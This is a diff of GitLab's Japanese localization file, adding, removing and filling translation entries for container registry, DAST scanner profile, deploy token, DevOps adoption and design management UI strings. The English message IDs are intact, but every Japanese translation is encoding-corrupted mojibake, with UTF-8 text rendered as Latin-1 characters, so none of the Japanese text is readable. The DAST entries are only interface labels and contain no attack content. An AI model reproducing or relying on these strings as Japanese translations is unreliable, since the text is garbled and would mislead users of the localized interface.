-msgid "ContainerRegistry|Tag expiration policy"
-msgstr "ã‚¿ã‚°ã®æœ‰åŠ¹æœŸé™ãƒãƒªã‚·ãƒ¼"
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7195,13 +7419,13 @@ msgid "ContainerRegistry|With the GitLab Container Registry, every project can h
msgstr ""
msgid "ContainerRegistry|You are about to remove %{item} tags. Are you sure?"
-msgstr ""
+msgstr "ã‚ãªãŸã¯ %{item} tag を削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
msgid "ContainerRegistry|You are about to remove %{item}. Are you sure?"
-msgstr ""
+msgstr "ã‚ãªãŸã¯%{item}を削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
msgid "ContainerRegistry|You are about to remove repository %{title}. Once you confirm, this repository will be permanently deleted."
-msgstr ""
+msgstr "ã‚ãªãŸã¯ %{title} リãƒã‚¸ãƒˆãƒªã‚’削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚確èªå¾Œã€ã“ã®ãƒªãƒã‚¸ãƒˆãƒªã¯å®Œå…¨ã«å‰Šé™¤ã•ã‚Œã¾ã™ã€‚"
msgid "ContainerRegistry|You can add an image to this registry with the following commands:"
msgstr "次ã®ã‚³ãƒžãƒ³ãƒ‰ã‚’使用ã—ã¦ã€ã“ã®ãƒ¬ã‚¸ã‚¹ãƒˆãƒªã«ã‚¤ãƒ¡ãƒ¼ã‚¸ã‚’追加ã§ãã¾ã™ï¼š"
@@ -7375,7 +7599,7 @@ msgid "Copy link"
msgstr "リンクをコピー"
msgid "Copy link to chart"
-msgstr ""
+msgstr "ãƒãƒ£ãƒ¼ãƒˆã¸ã®ãƒªãƒ³ã‚¯ã‚’コピー"
msgid "Copy reference"
msgstr "å‚ç…§ã®ã‚³ãƒ”ー"
@@ -7402,7 +7626,7 @@ msgid "Copy trigger token"
msgstr "トリガートークンをコピー"
msgid "Copy value"
-msgstr ""
+msgstr "値ã®ã‚³ãƒ”ー"
msgid "Could not add admins as members"
msgstr "管ç†è€…ã¯ãƒ¡ãƒ³ãƒãƒ¼ã¨ã—ã¦è¿½åŠ ã§ãã¾ã›ã‚“。"
@@ -7634,7 +7858,7 @@ msgid "Create milestone"
msgstr "マイルストーンを作æˆ"
msgid "Create new"
-msgstr ""
+msgstr "æ–°è¦ä½œæˆ "
msgid "Create new Value Stream"
msgstr ""
@@ -7933,9 +8157,6 @@ msgstr "カスタムカラー"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr "FogBugz ã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¨ãƒ¦ãƒ¼ã‚¶åã‚’ GitLab ã«ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹æ–¹æ³•ã‚’カスタマイズã—ã¾ã™ã€‚次ã®ã‚¹ãƒ†ãƒƒãƒ—ã§ã¯ã€ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹ãƒ—ロジェクトをé¸æŠžã—ã¾ã™ã€‚"
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr "Google Code ã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¨ãƒ¦ãƒ¼ã‚¶åã‚’ GitLab ã«ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹æ–¹æ³•ã‚’カスタマイズã—ã¾ã™ã€‚次ã®ã‚¹ãƒ†ãƒƒãƒ—ã§ã¯ã€ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹ãƒ—ロジェクトをé¸æŠžã—ã¾ã™ã€‚"
-
msgid "Customize icon"
msgstr "アイコンをカスタマイズã™ã‚‹"
@@ -7996,6 +8217,9 @@ msgstr "クローズã—ãŸãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
msgid "CycleAnalyticsEvent|Merge request created"
msgstr "作æˆã•ã‚ŒãŸãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr "最åˆã«è£½å“ã«ãƒ‡ãƒ—ロイã—ãŸãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
@@ -8120,9 +8344,6 @@ msgstr "プロジェクトドロップダウンフィルター"
msgid "CycleAnalytics|stage dropdown"
msgstr "ステージドロップダウン"
-msgid "DAG"
-msgstr "DAG"
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "DAGã®å¯è¦–化ã«ã¯ã€å°‘ãªãã¨ã‚‚3ã¤ã®ä¾å­˜æ€§ã®ã‚るジョブãŒå¿…è¦ã§ã™ã€‚"
@@ -8171,7 +8392,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8198,9 +8422,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8222,15 +8443,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8264,9 +8485,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8300,64 +8530,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8471,9 +8722,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr "デフォルト:Google コードã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¾ãŸã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼åを直接インãƒãƒ¼ãƒˆã™ã‚‹"
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr "デフォルト:FogBugz ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆIDをフルãƒãƒ¼ãƒ ã«ãƒžãƒƒãƒ—ã™ã‚‹"
@@ -8498,8 +8746,8 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
-msgstr "%{jobName} ã‚’ã™ãã«å®Ÿè¡Œã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿä»Šã™ã実行ã—ãªã„å ´åˆã§ã‚‚ã€ã“ã®ã‚¸ãƒ§ãƒ–ã¯äºˆç´„ã•ã‚ŒãŸã‚¿ã‚¤ãƒŸãƒ³ã‚°ã§è‡ªå‹•çš„ã«å®Ÿè¡Œã•ã‚Œã¾ã™ã€‚"
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
msgstr "%{job_name} ã‚’ã™ãã«å®Ÿè¡Œã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿã“ã®ã‚¸ãƒ§ãƒ–ã¯ã‚¿ã‚¤ãƒžãƒ¼çµ‚了後自動的ã«å®Ÿè¡Œã•ã‚Œã¾ã™ã€‚"
@@ -8582,9 +8830,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "プロジェクトã®ãƒªãƒã‚¸ãƒˆãƒªã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã™ã‹ã€ç®¡ç†è€…ã«é€£çµ¡ã—ã¦ãã ã•ã„。"
@@ -8859,7 +9104,7 @@ msgid "DeployTokens|Add a deploy token"
msgstr "デプロイトークンを追加"
msgid "DeployTokens|Allows read access to the package registry"
-msgstr ""
+msgstr "パッケージレジストリã¸ã®èª­ã¿å–りアクセスを許å¯ã™ã‚‹"
msgid "DeployTokens|Allows read-only access to the registry images"
msgstr "レジストリイメージã¸ã®èª­ã¿å–り専用アクセスを許å¯ã™ã‚‹"
@@ -8868,7 +9113,7 @@ msgid "DeployTokens|Allows read-only access to the repository"
msgstr "リãƒã‚¸ãƒˆãƒªã¸ã®èª­ã¿å–り専用アクセスを許å¯ã™ã‚‹"
msgid "DeployTokens|Allows write access to the package registry"
-msgstr ""
+msgstr "パッケージレジストリã¸ã®æ›¸ãè¾¼ã¿ã‚¢ã‚¯ã‚»ã‚¹ã‚’許å¯ã™ã‚‹"
msgid "DeployTokens|Allows write access to the registry images"
msgstr "レジストリイメージã¸ã®æ›¸ãè¾¼ã¿ã‚¢ã‚¯ã‚»ã‚¹ã‚’許å¯ã™ã‚‹"
@@ -8892,13 +9137,13 @@ msgid "DeployTokens|Deploy Tokens"
msgstr "デプロイトークン"
msgid "DeployTokens|Deploy tokens allow access to packages, your repository, and registry images."
-msgstr ""
+msgstr "デプロイトークンã¯ã€ãƒ‘ッケージã€ãƒªãƒã‚¸ãƒˆãƒªãŠã‚ˆã³ãƒ¬ã‚¸ã‚¹ãƒˆãƒªã‚¤ãƒ¡ãƒ¼ã‚¸ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’å¯èƒ½ã«ã—ã¾ã™ã€‚"
msgid "DeployTokens|Expires"
msgstr "有効期é™"
msgid "DeployTokens|Group deploy tokens allow access to the packages, repositories, and registry images within the group."
-msgstr ""
+msgstr "グループデプロイトークンã¯ã€ã‚°ãƒ«ãƒ¼ãƒ—内ã®ãƒ‘ッケージã€ãƒªãƒã‚¸ãƒˆãƒªã¨ãƒ¬ã‚¸ã‚¹ãƒˆãƒªã‚¤ãƒ¡ãƒ¼ã‚¸ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’å¯èƒ½ã«ã—ã¾ã™ã€‚"
msgid "DeployTokens|Name"
msgstr "åå‰"
@@ -8910,7 +9155,7 @@ msgid "DeployTokens|Revoke"
msgstr "失効"
msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
+msgstr "%{b_start}%{name}%{b_end} を失効ã•ã›ã¾ã™ã‹ï¼Ÿ"
msgid "DeployTokens|Revoke %{name}"
msgstr "%{name} ã‚’å–り消ã™"
@@ -8919,7 +9164,7 @@ msgid "DeployTokens|Scopes"
msgstr "スコープ"
msgid "DeployTokens|This %{entity_type} has no active Deploy Tokens."
-msgstr ""
+msgstr "ã“ã® %{entity_type} ã«ã¯ã‚¢ã‚¯ãƒ†ã‚£ãƒ–ãªãƒ‡ãƒ—ロイトークンã¯ã‚ã‚Šã¾ã›ã‚“。"
msgid "DeployTokens|This action cannot be undone."
msgstr "ã“ã®æ“作ã¯å…ƒã«æˆ»ã›ã¾ã›ã‚“。"
@@ -8934,13 +9179,13 @@ msgid "DeployTokens|Username"
msgstr "ユーザーå"
msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
+msgstr " %{b_start}%{name}%{b_end}を失効ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚"
msgid "DeployTokens|Your New Deploy Token"
msgstr "æ–°è¦ãƒ‡ãƒ—ロイトークン"
msgid "DeployTokens|Your new group deploy token has been created."
-msgstr ""
+msgstr "æ–°ã—ã„グループデプロイトークンãŒä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
msgid "DeployTokens|Your new project deploy token has been created."
msgstr "æ–°ã—ã„プロジェクトデプロイトークンãŒä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
@@ -8984,6 +9229,9 @@ msgstr "失敗ã—ã¾ã—ãŸ"
msgid "Deployment|running"
msgstr "実行中"
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr "æˆåŠŸ"
@@ -8997,11 +9245,14 @@ msgid "Describe the goal of the changes and what reviewers should be aware of."
msgstr "変更ã®ç›®çš„ã¨ãƒ¬ãƒ“ュアーãŒçŸ¥ã£ã¦ãŠãã¹ãã“ã¨ã‚’説明ã—ã¦ä¸‹ã•ã„。"
msgid "Describe the requirement here"
-msgstr ""
+msgstr "ã“ã“ã«è¦ä»¶ã‚„è¦æ±‚事項を説明ã—ã¦ãã ã•ã„"
msgid "Description"
msgstr "説明"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr "%{link_start} GitLab風ã®ãƒžãƒ¼ã‚¯ãƒ€ã‚¦ãƒ³ %{link_end} ã§ãƒ‘ースã—ãŸèª¬æ˜Ž"
@@ -9038,6 +9289,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "åŒã˜ãƒ•ã‚¡ã‚¤ãƒ«åã§è¨­è¨ˆã™ã‚‹ã¨ã€æ–°ã—ã„ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã®ãƒ•ã‚¡ã‚¤ãƒ«ã«ç½®ãæ›ãˆã‚‰ã‚Œã¾ã™ã€‚"
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9081,7 +9335,7 @@ msgid "DesignManagement|Could not create new discussion. Please try again."
msgstr "æ–°ã—ã„ディスカッションを作æˆã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
msgid "DesignManagement|Could not update discussion. Please try again."
-msgstr ""
+msgstr "ディスカッションを更新ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
@@ -9095,6 +9349,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr "コメントã®ç ´æ£„"
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr "æ–°ã—ã„デザインã®ã‚¢ãƒƒãƒ—ロード中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„."
@@ -9147,7 +9404,7 @@ msgid "DesignManagement|Upload designs"
msgstr ""
msgid "DesignManagement|Upload skipped."
-msgstr ""
+msgstr "アップロードãŒã‚¹ã‚­ãƒƒãƒ—ã•ã‚Œã¾ã—ãŸã€‚"
msgid "DesignManagement|Your designs are being copied and are on their way… Please refresh to update."
msgstr ""
@@ -9173,15 +9430,9 @@ msgstr "詳細 (デフォルト)"
msgid "Detect host keys"
msgstr "ホストキーã®æ¤œå‡º"
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9191,15 +9442,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr "差分コンテンツã®åˆ¶é™"
@@ -9312,10 +9632,10 @@ msgid "Discover|See the other features of the %{linkStart}gold plan%{linkEnd}"
msgstr ""
msgid "Discover|Start a free trial"
-msgstr ""
+msgstr "無料トライアルを始ã‚ã‚‹"
msgid "Discover|Upgrade now"
-msgstr ""
+msgstr "今ã™ãアップグレード"
msgid "Discuss a specific suggestion or question"
msgstr "具体的ãªæ案や質å•ã«ã¤ã„ã¦è­°è«–ã—ã¾ã™ã€‚"
@@ -9387,9 +9707,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr "GitLab 内ã®ã‚µãƒ¼ãƒ‰ãƒ‘ーティã‹ã‚‰ã®ã‚ªãƒ•ã‚¡ãƒ¼ã‚’表示ã—ãªã„"
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr "Google コードã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¨ãƒ¦ãƒ¼ã‚¶ãƒ¼åã‚’ GitLab ã«ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹æ–¹æ³•ã‚’カスタマイズã—ã¾ã™ã‹ï¼Ÿ"
-
msgid "Dockerfile"
msgstr "Dockerfile"
@@ -9418,13 +9735,13 @@ msgid "Domain verification is an essential security measure for public GitLab si
msgstr "ドメイン検証ã¯ã€å…¬é–‹ã—ã¦ã„ã‚‹ GitLab サイトã«ã¨ã£ã¦ä¸å¯æ¬ ãªã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£å¯¾ç­–ã§ã™ã€‚ユーザーã¯ã€ãƒ‰ãƒ¡ã‚¤ãƒ³ãŒæœ‰åŠ¹ã«ãªã‚‹å‰ã«ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’制御ã—ã¦ã„ã‚‹ã“ã¨ã‚’示ã™å¿…è¦ãŒã‚ã‚Šã¾ã™"
msgid "Domain was successfully created."
-msgstr ""
+msgstr "ドメインã¯æ­£å¸¸ã«ä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
msgid "Domain was successfully deleted."
-msgstr ""
+msgstr "ドメインã¯æ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
msgid "Domain was successfully updated."
-msgstr ""
+msgstr "ドメインã¯æ­£å¸¸ã«æ›´æ–°ã§ãã¾ã—ãŸã€‚"
msgid "Don't have an account yet?"
msgstr "ã¾ã ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’ãŠæŒã¡ã§ãªã„ã§ã™ã‹ï¼Ÿ"
@@ -9462,9 +9779,6 @@ msgstr "アーティファクトã®ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰"
msgid "Download as"
msgstr "別åã§ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰"
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr "コードをダウンロード"
@@ -9513,9 +9827,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9621,6 +9941,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "課題を編集"
@@ -9676,7 +9999,7 @@ msgid "Elasticsearch reindexing triggered"
msgstr ""
msgid "Elasticsearch returned status code: %{status_code}"
-msgstr ""
+msgstr "ElasticsearchãŒè¿”ã—ãŸã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã‚³ãƒ¼ãƒ‰: %{status_code}"
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
@@ -9696,6 +10019,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9712,7 +10038,7 @@ msgid "Email patch"
msgstr "パッãƒã‚’メールã™ã‚‹"
msgid "Email restrictions"
-msgstr ""
+msgstr "メールã®åˆ¶é™"
msgid "Email restrictions for sign-ups"
msgstr ""
@@ -9726,6 +10052,9 @@ msgstr "パイプラインã®ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã‚’å—信者ã®ãƒªã‚¹ãƒˆã«Eメーãƒ
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr "メールãŒç©ºã®ã‚ˆã†ã§ã™ã€‚返信文ãŒãƒ¡ãƒ¼ãƒ«ã®ä¸€ç•ªä¸Šã«ã‚ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。インラインã®è¿”ä¿¡ã¯å‡¦ç†ã§ãã¾ã›ã‚“。"
@@ -9760,7 +10089,7 @@ msgid "Emails"
msgstr "メール"
msgid "Emails sent from Service Desk will have this name"
-msgstr ""
+msgstr "サービスデスクã‹ã‚‰é€ä¿¡ã—ãŸãƒ¡ãƒ¼ãƒ«ã«ã¯ã“ã®åå‰ãŒä»˜ãã¾ã™"
msgid "Emails sent to %{email} will still be supported"
msgstr ""
@@ -9798,7 +10127,7 @@ msgstr "空ã®ãƒ•ã‚¡ã‚¤ãƒ«"
msgid "Enable"
msgstr "有効化ã™ã‚‹"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9816,6 +10145,9 @@ msgstr "HTML メールã®æœ‰åŠ¹åŒ–"
msgid "Enable Incident Management inbound alert limit"
msgstr "インシデント管ç†ã‚¤ãƒ³ãƒã‚¦ãƒ³ãƒ‰ã‚¢ãƒ©ãƒ¼ãƒˆåˆ¶é™ã‚’有効ã«ã™ã‚‹"
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "PlantUML を有効化"
@@ -9847,7 +10179,7 @@ msgid "Enable container expiration and retention policies for projects created e
msgstr ""
msgid "Enable email restrictions for sign ups"
-msgstr ""
+msgstr "サインアップ時ã®ãƒ¡ãƒ¼ãƒ«åˆ¶é™ã‚’有効ã«ã™ã‚‹"
msgid "Enable error tracking"
msgstr "エラートラッキングを有効ã«ã™ã‚‹"
@@ -9874,7 +10206,7 @@ msgid "Enable kuromoji custom analyzer: Search"
msgstr ""
msgid "Enable maintenance mode"
-msgstr ""
+msgstr "メンテナンスモードを有効ã«ã™ã‚‹"
msgid "Enable mirror configuration"
msgstr "ミラー構æˆã‚’有効化"
@@ -9928,19 +10260,19 @@ msgid "Enable/disable your service desk. %{link_start}Learn more about service d
msgstr "サービスデスクを有効/無効ã«ã—ã¾ã™ã€‚ %{link_start}サービスデスクã®è©³ç´°ã«ã¤ã„ã¦%{link_end}"
msgid "EnableReviewApp|%{stepStart}Step 1%{stepEnd}. Ensure you have Kubernetes set up and have a base domain for your %{linkStart}cluster%{linkEnd}."
-msgstr ""
+msgstr "%{stepStart} ステップ1 %{stepEnd}: KubernetesãŒè¨­å®šã•ã‚Œã¦ãŠã‚Šã€ %{linkStart}クラスター%{linkEnd} ã®ãƒ™ãƒ¼ã‚¹ãƒ‰ãƒ¡ã‚¤ãƒ³ãŒã‚ã‚‹ã“ã¨ã‚’確èªã—ã¾ã™ã€‚"
msgid "EnableReviewApp|%{stepStart}Step 2%{stepEnd}. Copy the following snippet:"
-msgstr ""
